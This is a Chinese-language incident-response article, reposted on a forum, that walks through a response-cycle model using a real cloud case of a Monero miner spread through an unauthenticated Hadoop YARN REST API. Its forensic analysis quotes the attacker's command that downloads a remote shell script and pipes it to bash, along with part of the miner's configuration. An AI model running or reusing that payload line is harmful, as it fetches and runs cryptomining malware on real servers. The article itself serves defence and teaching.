搜索

[14329] 2019-07-09_应急响应团队建设：云上威胁响应周期模型

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-07-09_应急响应团队建设：云上威胁响应周期模型 应 急 响 应 团 队 建 设 ： 云 上 威 胁 响 应 周 期 模 型 达 芬 奇 D a v i n c i   F r e e B u f   2 0 1 9 - 0 7 - 0 9 笔 者 在 最 近 的 安 全 沙 龙 上 ， 同 僚 们 表 现 出 对 应 急 响 应 方 法 论 的 渴 求 。 所 以 我 想 通 过 真 实 案 例 来 讲 一 下 应 急 响 应 周 期 建 设 ， 以 起 到 抛 砖 引 玉 之 效 ， 给 大 佬 们 的 工 作 带 来 参 考 价 值 。 笔 者 在 最 近 的 安 全 沙 龙 上 ， 同 僚 们 表 现 出 对 应 急 响 应 方 法 论 的 渴 求 。 所 以 我 想 通 过 真 实 案 例 来 讲 一 下 应 急 响 应 周 期 建 设 ， 以 起 到 抛 砖 引 玉 之 效 ， 给 大 佬 们 的 工 作 带 来 参 考 价 值 。 自 建 的 一 个 应 急 响 应 周 期 模 型 ： 一 、 预 备 阶 段 一 、 预 备 阶 段 这 个 阶 段 涉 及 安 全 红 蓝 对 抗 的 蓝 军 安 全 建 设 ， 应 用 系 统 / 基 础 设 施 加 固 ， 进 行 应 急 响 应 演 练 。 注 意 ： 注 意 ： 甲 方 企 业 安 全 研 究 员 应 该 在 平 时 多 接 触 威 胁 情 报 、 事 件 分 析 ； 严 加 管 控 事 业 群 的 服 务 器 / 云 服 务 器 ， 禁 止 随 意 开 放 端 口 、 变 更 安 全 组 策 略 ， 做 好 端 口 服 务 备 案 。 二 、 识 别 阶 段 二 、 识 别 阶 段 云 上 会 有 威 胁 情 报 通 知 到 用 户 ， 非 云 要 求 我 们 专 注 识 别 、 检 测 能 力 。 不 断 论 证 事 件 发 现 、 以 求 经 验 的 累 积 。 本 次 案 例 中 的 识 别 阶 段 ， 是 华 为 云 对 用 户 进 行 邮 件 警 告 开 始 的 ： 6 月 1 7 日 尊 敬 的 华 为 云 用 户 X X ： 华 为 云 网 络 入 侵 检 测 系 统 发 现 您 的 资 源 （ I P ： 4 8 . x x . x x . x x ； 4 8 . x x . x x . x x ） 疑 似 存 在 或 涉 及 对 外 攻 击 行 为 ， 该 情 况 会 对 您 的 业 务 和 华 为 云 的 服 务 产 生 影 响 ， 违 反 了 《 华 为 云 用 户 协 议 》 及 相 关 的 法 律 法 规 。 为 了 避 免 影 响 您 的 业 务 使 用 ， 请 您 在 2 4 小 时 内 进 行 排 查 处 理 。 望 您 知 晓 ： 华 为 云 保 留 依 照 《 华 为 云 用 户 协 议 》 及 相 关 法 律 法 规 采 取 相 应 措 施 的 权 利 。 如 有 需 要 ， 请 拨 打 华 为 云 热 线 电 话 ： 4 0 0 0   9 5 5   9 8 8 。 黑 客 在 内 网 进 行 口 令 爆 破 、 s t r u s t 2 等 远 程 R e c 漏 洞 进 行 内 网 横 向 蔓 延 ：
没 有 发 现 任 何 命 令 运 行 及 日 志 记 录 ， 怀 疑 做 了 痕 迹 清 理 。 服 务 器 W e b 应 用 存 在 任 意 文 件 上 传 、 任 意 文 件 下 载 漏 洞 ， 因 为 是 非 生 产 系 统 ， 开 发 将 W e b 应 用 关 停 。 6 月 2 0 日 ， 又 被 通 知 两 台 服 务 器 疑 似 涉 及 挖 矿 行 为 ： 迅 速 展 开 识 别 。 进 程 进 程 D q S V t r 进 程 C P U 居 高 不 下 ， 疑 似 恶 意 进 程 ， 待 确 认 ： 进 程 权 限 ： 7 7 7 路 径 已 经 被 删 除 y a r n ： 是 大 数 据 平 台 用 户 ， C P U   6 9 7 % e x e ： 路 径 被 删 除 t m p 临 时 目 录 有 疑 似 异 常 文 件 j a v a 和 w . c o n f ( 空 ) 1 . 切 换 用 户 后 ， 使 用 命 令 发 现 异 常 p i d ： p s   a u x | h e a d   - 1 ; p s   a u x | g r e p   - v   P I D | s o r t   - r n   - k   + 3 | h e a d
发 现 是 y a r n 任 务 在 执 行 j a v a   c 操 作 ， 于 是 第 一 反 应 是 将 该 p i d 直 接 k i l l 掉 ， 然 而 发 现 过 一 会 又 会 自 动 重 启 。 于 是 去 / v a r / t m p 下 查 看 文 件 ， 发 现 t m p 下 的 j a v a 文 件 打 开 乱 码 而 且 不 是 由 我 放 进 去 的 。 2 . 因 为 杀 死 的 任 务 不 断 重 启 ， 于 是 猜 想 是 不 是 有 定 时 任 务 在 不 断 执 行 ， 于 是 使 用 c r o n t a b   - l 查 看 ， 未 发 现 。 切 换 到 y a r n 用 户 再 次 查 看 ， 果 然 存 在 。 日 志 日 志 l a s t   h i s t o r y 等 查 询 一 无 所 获 。 检 查 y a r n 日 志 ( / v a r / l o g / h a d o o p -   t h r e a d   / h a d o o p - c m f - y a r n - R E S O U R C E M A N A G E R - X X X . o u t ) 是 这 些 过 程 的 启 动 和 停 止 日 志 。 时 间 线 上 分 析 时 间 线 上 分 析 使 用 m a c - r o b b e r 和 m a c t i m e 工 具 。 我 检 查 了 C P U 开 始 为 9 5 % 时 所 有 文 件 的 访 问 、 修 改 和 执 行 情 况 。 在 这 些 目 录 中 ， y a r n 存 储 了 它 执 行 的 二 进 制 文 件 ， 所 以 我 有 一 个 理 想 的 位 置 来 搜 索 已 经 执 行 的 文 件 的 线 索 。 他 在 二 进 制 上 抛 出 了 一 个 字 符 串 ， 是 y a r n 日 志 ， 我 发 现 了 一 些 线 索 。 使 用 该 命 令 可 以 在 服 务 器 上 下 载 文 件 。 让 我 们 来 看 看 他 做 了 些 什 么 ？ c u r l 它 它 这 个 脚 本 做 的 第 一 件 事 就 是 消 除 采 矿 过 程 中 的 竞 争 ， 想 要 为 自 身 拥 有 集 群 。 然 后 检 查 它 是 否 已 经 运 行 ， 如 果 已 经 运 行 ， 则 不 要 继 续 。 然 后 它 恢 复 一 个 I P ， 恶 意 软 件 将 从 其 中 下 载 ， 这 可 能 是 因 为 带 有 恶 意 软 件 的 网 站 变 化 很 快 ， 而 且 如 果 系 统 管 理 员 发 现 可 疑 并 拒 绝 访 问 ， 它 会 恶 趣 味 不 时 地 更 改 I P 。 最 后 ， 它 下 载 两 个 文 件 ， 执 行 挖 掘 并 更 改 其 名 称 的 二 进 制 文 件 和 配 置 文 件 。 我 这 人 好 信 儿 我 这 人 好 信 儿 下 载 w . c o n f 文 件 来 继 续 分 析 ： 门 罗 币 门 罗 币 x m r i g 文 件 是 M o n e r o   c r y p t o c u r r e n c y   ( X M R ) 的 一 个 矿 工 ， h t t p s : / / g i t h u b . c o m / x m r i g / x m r i g / x m r i g i s 比 B i t c o i n   ( B T C ) 或 E t h e r e u m 以 太 坊 等 更 匿 名 ， 而 s t r a t u m + t c p   p r o t o c o l 是 一 个 经 典 的 虚 拟 硬 币 。 因 此 ， 恶 意 黑 客 程 序 ， 矿 工 和 赚 钱 的 回 报 ， 是 使 用 这 种 货 币 的 X M R 网 络 。 如 何 进 入 系 统 的 ？ 如 何 进 入 系 统 的 ？ 要 紧 的 是 它 是 如 何 潜 入 系 统 的 ， 不 然 重 装 系 统 于 事 无 补 ， 我 怎 样 交 差 ？ 最 另 我 头 疼 的 ， 到 目 前 为 止 ， 在 访 问 日 志 和 执 行 命 令 日 志 中 没 有 出 现 任 何 可 疑 的 内 容 ， 而 在 y a r n 日 志 中 没 有 显 示 二 进 制 文 件 是 如 何 部 署 的 。 n o h u p   m a c - r o b b e r   /   >   t i m e l i n e _ r o o t _ 2 0 1 9 0 5 0 6 . m a c   & &   m a c t i m e   - b   t i m e l i n e _ r o o t _ 2 0 1 9 0 5 0 6 . m a c >   t i m e l i n e _ r o o t _ 2 0 1 9 0 5 0 6   & g r e p   "   4 8 9   "   t i m e l i n e _ r o o t _ 2 0 1 9 0 5 0 6   4 0 9 6   m a c   .     d r w x   - - - - - -   s t r i n g s   / v a r / l i b / h a d o o p - y a r n / y a r n - n m - r e c o v e r y / y a r n - n m - s t a t e / 0 1 5 7 9 2 . s s t     . . . *   h t t p s : / / b i t b u c k e t . o r g / q w i n d r a 4 3 1 / m y g i t / r a w / m a s t e r / z z . s h   |   b a s h   &   d i s o w n   . . . {         " a l g o " :   " c r y p t o n i g h t " ,         " b a c k g r o u n d " :   t r u e ,         " c o l o r s " :   f a l s e ,         " r e t r i e s " :   5 ,         " r e t r y - p a u s e " :   5 ,         " d o n a t e - l e v e l " :   1 ,         " s y s l o g " :   f a l s e ,         " l o g - f i l e " :   n u l l ,        
通 过 使 用 n m a p 扫 描 端 口 ， 我 们 发 现 许 多 端 口 都 暴 露 在 互 联 网 上 ， 这 提 供 了 一 系 列 的 攻 击 可 能 性 。 所 以 看 到 我 很 迷 茫 ， 我 选 择 了 四 处 看 看 。 最 后 我 选 择 嗅 探 流 量 嗅 探 流 量 ： w i r e s h a r k 中 打 开 1 小 时 流 量 数 据 ， 发 现 8 0 8 8 端 口 C D H 在 c u r l   s s h 。 N I C E ， w e b 访 问 h a d o o p   A P I 漏 洞 。 端 口 8 0 8 8 是 y a r n 资 源 管 理 器 W e b 使 用 的 端 口 。 但 是 正 在 发 出 的 请 求 是 关 于 / c l u s e r / a p p s 的 ， 访 问 H a d o o p 文 档 告 诉 我 们 它 是 一 个 处 理 应 用 程 序 的 R E S T   A P I 。 这 里 的 关 键 是 如 何 管 理 注 册 过 程 , 他 们 使 用 A P I 暴 露 在 端 口 8 0 8 8 上 的 y a r n 注 册 的 应 用 程 序 负 责 执 行 降 低 m a l v a r e 和 执 行 它 所 有 工 人 大 数 据 集 群 的 节 点 。 迅 速 联 系 用 户 ， 确 定 C D H 集 群 是 否 开 启 了 K e r b e r o s 认 证 。 识 别 结 果 ： 识 别 结 果 ： 攻 击 行 为 ， 我 们 检 测 出 内 网 中 多 台 服 务 器 相 互 进 行 a d m i n   r o o t 暴 力 破 解 / S t r u s t 2 等 远 程 R C E ； 矿 机 漏 洞 ： 矿 机 漏 洞 ： H a d o o p   R E S T   A P I 未 授 权 访 问 。 注 意 ： 注 意 ： 永 远 要 相 信 自 己 的 识 别 能 力 ， 即 使 华 为 云 的 主 动 识 别 系 统 告 警 ， 也 仅 告 知 疑 似 对 外 攻 击 。 当 事 件 真 实 产 生 ， 才 会 启 动 后 续 的 遏 制 / 清 除 / 恢 复 阶 段 。 三 、 遏 制 阶 段 三 、 遏 制 阶 段 针 对 网 路 攻 击 ， 迅 速 采 取 具 体 行 动 。 此 次 为 云 上 服 务 器 集 群 ， 在 首 次 被 华 为 云 邮 件 告 警 时 ， 云 运 维 工 程 师 迅 速 进 行 安 全 组 安 全 组 A C L 策 略 管 控 策 略 管 控 ， 仅 对 特 定 I P 开 放 S S H 通 道 。 漏 洞 程 序 加 固 、 非 产 生 W e b 应 用 下 线 。 注 意 ： 注 意 ： 将 生 产 环 境 做 D M Z 隔 离 四 、 清 除 阶 段 四 、 清 除 阶 段 切 换 到 资 源 账 户 下 ， 清 除 掉 计 划 任 务 ， 所 有 已 经 发 现 的 攻 击 载 荷 ， 重 置 资 源 。 注 意 ： 注 意 ： C D H   大 数 据 平 台 的 W e b 风 险 首 先 消 除 ， 因 为 这 是 入 口 ； 再 来 清 除 c r o n t a b 任 务 ， 等 待 2 分 钟 没 有 再 生 成 新 的 计 划 任 务 。 当 时 2 分 钟 心 很 慌 张 ， 为 自 己 捏 把 汗 。 。 。 部 分 服 务 器 以 r o o t 权 限 运 行 了 异 常 脚 本 、 命 令 。 这 种 情 况 通 常 需 要 重 装 系 统 。 。 。 五 、 恢 复 五 、 恢 复 恢 复 操 作 常 赋 予 基 础 设 施 和 应 用 系 统 进 行 ， 对 于 资 产 能 够 快 速 恢 复 ， 同 时 更 好 的 协 调 响 应 。 信 息 安 全 工 程 师 与 开 发 团 队 进 行 资 产 的 重 新 部 署 重 新 部 署 ， 此 次 沟 通 内 容 包 括 ： 基 本 的 W i n d o w s / L i n u x / 中 间 件 / 数 据 库 的 安 全 基 线 安 全 基 线 ， 生 产 W e b 业 务 系 统 存 在 的 漏 洞 讲 解 ， 漏 洞 修 复 方 案 漏 洞 修 复 方 案 ， 遭 到 入 侵 对 业 务 系 统 、 乃 至 公 司 名 誉 产 生 的 影 响 。 注 意 ： 注 意 ： 云 上 中 间 件 和 数 据 库 可 直 接 使 用 P a a S 服 务 ， 安 全 基 线 在 某 些 情 境 无 法 实 施 。 六 、 反 思 （ 六 、 反 思 （ R e v i e w ） ） 注 意 ： 注 意 ： 写 报 告 要 包 括 反 思 的 内 容 ， 在 企 业 安 全 建 设 中 ， 要 求 安 全 人 员 每 一 项 工 作 都 能 推 进 一 项 安 全 建 设 。 反 思 报 告 将 推 动 你 们 的 安 全 建 设 ， 也 是 领 导 非 常 希 望 看 到 的 。 发 生 了 什 么 事 ， 如 果 没 有 及 时 处 理 将 会 对 公 司 有 怎 样 的 影 响 ？ 此 次 过 程 中 哪 里 做 得 好 ， 安 全 工 程 师 及 时 处 理 事 件 为 公 司 带 来 哪 些 价 值 ？ 批 评 与 自 我 批 评 ， 安 全 不 要 担 心 受 到 责 骂 和 惩 罚 ， 这 会 使 得 我 们 有 很 好 的 反 思 。 好 吧 ， 我 们 来 用 这 个 模 型 好 吧 ， 我 们 来 用 这 个 模 型 R e v i e w ， 是 否 感 触 良 多 ？ ， 是 否 感 触 良 多 ？   t c p d u m p   - i   e t h 0   - s   6 5 5 3 5   - n   ' ( n o t   s r c   n e t   1 9 2 . 1 6 8 . 1 . 1 0 / 1 6 ) '   - w   / m n t / m e d i a / 2 0 1 9 0 6 2 1 . d u m p
七 、 结 语 七 、 结 语 R e v i e w 不 要 流 于 形 式 ， 而 是 要 评 估 如 何 更 有 效 地 吸 取 经 验 教 训 ， 希 望 大 佬 们 花 时 间 来 评 估 你 的 团 队 在 每 个 阶 段 执 行 能 力 ， 从 预 备 到 反 思 阶 段 。 附 ： 为 大 家 手 抄 一 份 附 ： 为 大 家 手 抄 一 份 C I S S P 中 应 急 计 划 的 说 明 中 应 急 计 划 的 说 明 在 发 生 事 故 时 ， 仅 知 道 如 何 从 备 份 中 还 原 数 据 是 不 够 的 。 我 们 还 需 要 了 解 一 些 详 细 措 施 ， 这 些 措 施 概 述 了 保 持 关 键 系 统 可 用 以 及 确 保 操 作 和 处 理 不 会 中 断 所 需 的 活 动 。 应 急 管 理 定 义 在 事 故 过 程 中 和 事 故 之 后 应 该 做 的 事 情 。 为 响 应 紧 急 事 件 、 保 持 操 作 连 续 性 以 及 处 理 重 要 中 断 而 需 要 采 取 的 行 动 必 需 记 录 在 案 ， 并 让 操 作 员 工 能 随 时 获 取 。 这 份 文 档 应 至 少 保 留 3 份 ： 在 现 场 保 留 原 件 和 一 份 副 本 ， 并 在 某 个 受 保 护 的 、 防 火 的 异 地 场 所 保 留 一 份 副 本 。 应 急 计 划 只 有 在 测 试 后 才 能 被 信 任 。 组 织 应 进 行 演 习 ， 确 保 员 工 充 分 了 解 他 们 的 职 责 以 及 如 何 履 行 这 些 职 责 。 如 何 使 这 些 计 划 保 持 最 新 是 另 一 个 需 要 考 虑 的 问 题 。 由 于 我 们 所 处 的 动 态 联 网 环 境 在 不 断 变 化 ， 在 必 要 时 保 障 这 些 环 境 安 全 的 计 划 也 必 须 不 断 更 新 。 下 一 期 预 想 为 大 家 讲 解 ， 大 型 企 业 云 安 全 防 护 的 相 关 经 验 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： 达 芬 奇 达 芬 奇 D a v i n c i ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理